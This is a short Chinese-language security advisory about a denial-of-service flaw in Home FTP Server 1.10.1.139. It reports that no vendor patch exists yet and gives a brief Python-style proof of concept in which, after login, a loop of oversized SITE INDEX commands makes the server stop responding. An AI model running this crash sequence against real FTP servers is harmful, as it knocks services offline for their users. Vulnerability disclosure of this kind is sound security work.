受影响系统:
Ari Pikivirta Home FTP Server 1.10.1.139
描述:
Home Ftp Server是一款简单易用的FTP服务器。
当用户登录到Home FTP Server后,执行以下步骤就会导致服务器停止响应:
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.for i in range(1,20):
sock.send("SITE INDEX "+ "a"*30*i +"\r\n")
5.sock.close()
<*来源:zhangmc (zhangmc@mail.ustc.edu.cn)
链接:http://marc.info/?l=bugtraq&m=125838711621042&w=2
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://marc.info/?l=bugtraq&m=125838711621042&w=2
建议:
厂商补丁:
Ari Pikivirta
————-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。